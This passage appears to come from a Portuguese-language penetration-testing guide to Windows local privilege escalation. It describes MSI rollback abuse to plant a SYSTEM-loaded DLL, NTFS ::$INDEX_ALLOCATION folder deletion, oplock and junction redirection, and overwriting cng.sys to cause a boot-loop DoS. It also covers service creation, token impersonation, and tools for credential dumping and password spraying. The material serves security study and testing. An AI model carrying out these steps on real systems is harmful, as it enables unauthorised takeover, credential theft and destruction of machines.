  • Sobrescreva o arquivo .rbs com um fake rollback script que instrui o Windows a:

  • Restaurar seu arquivo .rbf (DLL maliciosa) em um local privilegiado (por exemplo, C:\Program Files\Common Files\microsoft shared\ink\HID.DLL).

  • Colocar seu .rbf falso contendo uma DLL com payload em nível SYSTEM.

  • Step 12: Trigger the Rollback

  • Sinalize o evento de sincronização para que o installer retome.

  • Uma type 19 custom action (ErrorOut) é configurada para falhar intencionalmente a instalação em um ponto conhecido.

  • Isso causa o inicio do rollback.

  • Step 13: SYSTEM Installs Your DLL

  • O Windows Installer:

  • Lê seu .rbs malicioso.

  • Copia sua DLL .rbf para o local alvo.

  • Agora você tem sua DLL maliciosa em um caminho carregado pelo SYSTEM.

  • Final Step: Execute SYSTEM Code

  • Execute um binary auto-elevated confiável (por exemplo, osk.exe) que carrega a DLL que você sequestrou.

  • Boom: Seu código é executado como SYSTEM.

From Arbitrary File Delete/Move/Rename to SYSTEM EoP

A técnica principal de rollback do MSI (a anterior) assume que você pode deletar uma pasta inteira (por exemplo, C:\Config.Msi). Mas e se sua vulnerabilidade só permitir exclusão arbitrária de arquivos?

Você pode explorar os internals do NTFS: toda pasta tem um fluxo de dados alternativo oculto chamado:

C:\SomeFolder::$INDEX_ALLOCATION

Este stream armazena os metadados de índice da pasta.

Portanto, se você excluir o stream ::$INDEX_ALLOCATION de uma pasta, NTFS remove a pasta inteira do sistema de arquivos.

Você pode fazer isso usando APIs padrão de exclusão de arquivos como:

DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");

Mesmo que você esteja chamando uma API de exclusão de arquivo, ela exclui a própria pasta.

De Folder Contents Delete para SYSTEM EoP

E se sua primitiva não permitir que você exclua arquivos/pastas arbitrários, mas ela permite a exclusão do conteúdo de uma pasta controlada pelo atacante?

  1. Passo 1: Crie uma pasta de isca e um arquivo
  • Crie: C:\temp\folder1
  • Dentro dela: C:\temp\folder1\file1.txt
  1. Passo 2: Coloque um oplock em file1.txt
  • O oplock pausa a execução quando um processo privilegiado tenta excluir file1.txt.
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
  1. Passo 3: Acionar o processo SYSTEM (por exemplo, SilentCleanup)
  • Esse processo verifica pastas (por exemplo, %TEMP%) e tenta excluir seu conteúdo.
  • Quando atingir file1.txt, o oplock triggers e entrega o controle ao seu callback.
  1. Passo 4: Dentro do oplock callback – redirecionar a exclusão

  • Opção A: Mover file1.txt para outro local

  • Isso esvazia folder1 sem quebrar o oplock.

  • Não exclua file1.txt diretamente — isso liberaria o oplock prematuramente.

  • Opção B: Converter folder1 em uma junction:

# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
  • Opção C: Criar um symlink em \RPC Control:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")

Isso mira no fluxo interno do NTFS que armazena os metadados da pasta — deletá-lo deleta a pasta.

  1. Etapa 5: Liberar o oplock
  • O processo SYSTEM continua e tenta deletar file1.txt.
  • Mas agora, devido a junction + symlink, na verdade está deletando:
C:\Config.Msi::$INDEX_ALLOCATION

Resultado: C:\Config.Msi é excluído pelo SYSTEM.

De Arbitrary Folder Create para DoS Permanente

Explore uma primitiva que lhe permite create an arbitrary folder as SYSTEM/admin — mesmo se você não puder escrever arquivos ou definir permissões fracas.

Crie uma pasta (não um arquivo) com o nome de um driver crítico do Windows, por exemplo:

C:\Windows\System32\cng.sys
  • Este caminho normalmente corresponde ao driver em modo kernel cng.sys.
  • Se você pré-criar o caminho como uma pasta, o Windows falha ao carregar o driver real durante a inicialização.
  • Então, o Windows tenta carregar cng.sys durante a inicialização.
  • Ele vê a pasta, não consegue resolver o driver real, e crasha ou interrompe a inicialização.
  • Não há fallback, e nenhuma recuperação sem intervenção externa (por exemplo, reparo da inicialização ou acesso ao disco).

De caminhos privilegiados de log/backup + OM symlinks para sobrescrita arbitrária de arquivo / boot DoS

Quando um serviço privilegiado grava logs/exports em um caminho lido a partir de uma configuração gravável, redirecione esse caminho com Object Manager symlinks + NTFS mount points para transformar a gravação privilegiada em uma sobrescrita arbitrária (mesmo sem SeCreateSymbolicLinkPrivilege).

Requisitos

  • A configuração que armazena o caminho alvo é gravável pelo atacante (p.ex., %ProgramData%\...\.ini).
  • Capacidade de criar um mount point para \RPC Control e um OM file symlink (James Forshaw symboliclink-testing-tools).
  • Uma operação privilegiada que escreve nesse caminho (log, export, report).

Exemplo de cadeia

  1. Leia a configuração para recuperar o destino de log privilegiado, p.ex. SMSLogFile=C:\users\iconics_user\AppData\Local\Temp\logs\log.txt em C:\ProgramData\ICONICS\IcoSetup64.ini.
  2. Redirecione o caminho sem admin:
mkdir C:\users\iconics_user\AppData\Local\Temp\logs
CreateMountPoint C:\users\iconics_user\AppData\Local\Temp\logs \RPC Control
CreateSymlink "\\RPC Control\\log.txt" "\\??\\C:\\Windows\\System32\\cng.sys"
  1. Espere o componente privilegiado escrever o log (por exemplo, admin aciona “send test SMS”). A escrita agora cai em C:\Windows\System32\cng.sys.
  2. Inspecione o alvo sobrescrito (hex/PE parser) para confirmar corrupção; a reinicialização força o Windows a carregar o caminho do driver adulterado → boot loop DoS. Isso também se generaliza a qualquer arquivo protegido que um serviço privilegiado abrir para escrita.

cng.sys normalmente é carregado de C:\Windows\System32\drivers\cng.sys, mas se uma cópia existir em C:\Windows\System32\cng.sys ela pode ser tentada primeiro, tornando-o um alvo confiável de DoS para dados corrompidos.

De High Integrity para System

Novo serviço

Se você já estiver executando em um processo High Integrity, o caminho para SYSTEM pode ser simples apenas criando e executando um novo serviço:

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

Tip

Ao criar um service binary, certifique-se de que é um serviço válido ou que o binário execute as ações necessárias rapidamente, pois será encerrado em 20s se não for um serviço válido.

AlwaysInstallElevated

From a High Integrity process you could try to enable the AlwaysInstallElevated registry entries and install a reverse shell using a .msi wrapper.
Mais informações sobre as chaves de registro envolvidas e como instalar um pacote .msi aqui.

High + SeImpersonate privilege to System

Você pode encontrar o código aqui.

From SeDebug + SeImpersonate to Full Token privileges

Se você tiver esses privilégios de token (provavelmente os encontrará em um processo já High Integrity), será capaz de abrir quase qualquer processo (não processos protegidos) com o privilégio SeDebug, copiar o token do processo e criar um processo arbitrário com esse token.
Normalmente, ao usar essa técnica, seleciona-se um processo rodando como SYSTEM com todos os privilégios de token (sim, você pode encontrar processos SYSTEM sem todos os privilégios de token).
Você pode encontrar um exemplo de código que executa a técnica proposta aqui.

Named Pipes

This technique is used by meterpreter to escalate in getsystem. The technique consists on creating a pipe and then create/abuse a service to write on that pipe. Then, the server that created the pipe using the SeImpersonate privilege will be able to impersonate the token of the pipe client (the service) obtaining SYSTEM privileges.
Se você quer saber mais sobre name pipes você deve ler isto.
Se quiser ler um exemplo de como ir de high integrity para System usando name pipes você deve ler isto.

Dll Hijacking

Se você conseguir hijackar uma dll que está sendo carregada por um processo executando como SYSTEM você poderá executar código arbitrário com essas permissões. Portanto, Dll Hijacking também é útil para esse tipo de elevação de privilégios e, além disso, é muito mais fácil de conseguir a partir de um processo high integrity, já que ele terá permissões de escrita nas pastas usadas para carregar dlls.
Você pode saber mais sobre Dll hijacking aqui.

From Administrator or Network Service to System

From LOCAL SERVICE or NETWORK SERVICE to full privs

Leia: https://github.com/itm4n/FullPowers

Mais ajuda

Static impacket binaries

Ferramentas úteis

Melhor ferramenta para procurar vetores de Windows local privilege escalation: WinPEAS

PS

PrivescCheck
PowerSploit-Privesc(PowerUP) – Verifica por misconfigurações e arquivos sensíveis (ver aqui). Detectado.
JAWS – Verifica algumas possíveis misconfigurações e coleta informações (ver aqui).
privesc – Verifica por misconfigurações
SessionGopher – Extrai informações de sessões salvas do PuTTY, WinSCP, SuperPuTTY, FileZilla e RDP. Use -Thorough localmente.
Invoke-WCMDump – Extrai credenciais do Credential Manager. Detectado.
DomainPasswordSpray – Faz spray das senhas coletadas pelo domínio
Inveigh – Inveigh é um spoofer ADIDNS/LLMNR/mDNS em PowerShell e ferramenta man-in-the-middle.
WindowsEnum – Enumeração básica do Windows para privesc
Sherlock ~~~~ – Procura por vulnerabilidades privesc conhecidas (DEPRECADO em favor do Watson)
WINspect – Verificações locais (Precisa de privilégios Admin)

Exe

Watson – Procura por vulnerabilidades privesc conhecidas (precisa ser compilado usando VisualStudio) (precompiled)
SeatBelt – Enumera o host procurando por misconfigurações (mais uma ferramenta de coleta de informações do que de privesc) (precisa ser compilado) (precompiled)
LaZagne – Extrai credenciais de vários softwares (exe pré-compilado no GitHub)
SharpUP – Port de PowerUp para C#
Beroot ~~~~ – Verifica misconfigurações (executável pré-compilado no GitHub). Não recomendado. Não funciona bem no Win10.
Windows-Privesc-Check – Verifica possíveis misconfigurações (exe a partir de python). Não recomendado. Não funciona bem no Win10.

Bat

winPEASbat – Ferramenta criada com base neste post (não precisa de accesschk para funcionar corretamente, mas pode usá-lo).

Local

Windows-Exploit-Suggester – Lê a saída de systeminfo e recomenda exploits funcionais (python local)
Windows Exploit Suggester Next Generation – Lê a saída de systeminfo e recomenda exploits funcionais (python local)

Meterpreter

multi/recon/local_exploit_suggestor

Você precisa compilar o projeto usando a versão correta do .NET (veja isto). Para ver a versão instalada do .NET no host vítima você pode fazer:

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks